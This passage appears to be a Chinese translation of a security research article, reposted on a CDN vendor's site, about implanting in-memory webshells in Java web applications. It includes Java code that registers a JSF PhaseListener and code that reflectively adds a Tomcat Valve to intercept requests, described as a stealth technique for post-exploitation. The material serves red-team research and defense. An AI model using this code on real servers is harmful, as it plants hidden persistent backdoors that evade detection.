resp.getWriter().write(“Result”);
}catch(Throwable tr) {
// ignored
}
}
@Override
public void beforePhase(PhaseEvent phaseEvent) {
}
@Override
public PhaseId getPhaseId() {
return PhaseId.RENDER_RESPONSE;
}
}
一旦在运行时使用当前线程上下文的 ClassLoader
加载了类定义,就可以注册新的 Phase
来拦截请求:
LifecycleFactory lifecycleFactory = (LifecycleFactory) FactoryFinder
.getFactory(FactoryFinder.LIFECYCLE_FACTORY);
Lifecycle applicationLifecycle = lifecycleFactory
.getLifecycle(LifecycleFactory.DEFAULT_LIFECYCLE);
applicationLifecycle.addPhaseListener(new CustomPhase());
最后,可能需要做更多的工作才能实际使其拦截任何请求。此外,它可以作为内存 Webshell 的基础。
在使用 Tomcat 的 Spring 中使用 Valves
在 Tomcat 中,Valves 也可以注册,而不是过滤器。实际上,这些 Valves 被用来覆盖使用 JSP (JavaServer Pages) 呈现的参数,以利用 Spring4Shell 漏洞。
在纯 Java 中,它们可以这样注册:
WebappClassLoaderBase lbase = ((WebappClassLoaderBase)(
(
(ServletRequestAttributes)RequestContextHolder
.getRequestAttributes()
).getRequest().getServletContext().getClassLoader())
);
Field fResources = getField(lbase.getClass(), “resources”);
fResources.setAccessible(true);
StandardContext ctx = (StandardContext) ((WebResourceRoot)fResources.get(lbase))
.getContext();
ctx.getParent().getPipeline().addValve(new ValveBase() {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
// …
// 拦截它
// …
if(this.getNext() != null) {
this.getNext().invoke(request, response);
}
}
});
结论
本文介绍的技巧可以适应在参与期间保持隐蔽。仅依赖 EDR 和 WAF 可能会使利用步骤更加困难,但永远不会取代修补易受攻击的应用程序。
这里提到的 Translets 和 Transformers 的一些有效载荷已包含在我们的 GitHub fork 或 this pull request 到 ysoserial 存储库中。
但请注意,这里提到的 gadget 链和易受攻击的依赖项在易受攻击的应用程序中越来越不可用。因此,这些技巧可能不完全适用。此外,从 Java 16 开始,内部 Translets
将不适用于未命名模块,从而破坏了几个依赖于此的 gadget 链。尽管如此,我们仍然相信在未来几年中,我们仍然会找到运行在 Java 7、8 或 11 上的应用程序 :)
此外,这里提到的用于注入内存 Webshell 的相同逻辑也可以从其他类型的漏洞中被利用,这些漏洞会导致 RCE(例如 SSTI 和脚本引擎)。
最后,我们尝试通过为 Hexacon 创建一个 crypto/web 挑战来突出这里提到的一些环境限制,命名为 AlmostIsoSerial (sources.7z, vm.7z)。你可以在 这里 找到 write-ups。
原创文章,作者:速盾高防cdn,如若转载,请注明出处:https://www.sudun.com/ask/77433.html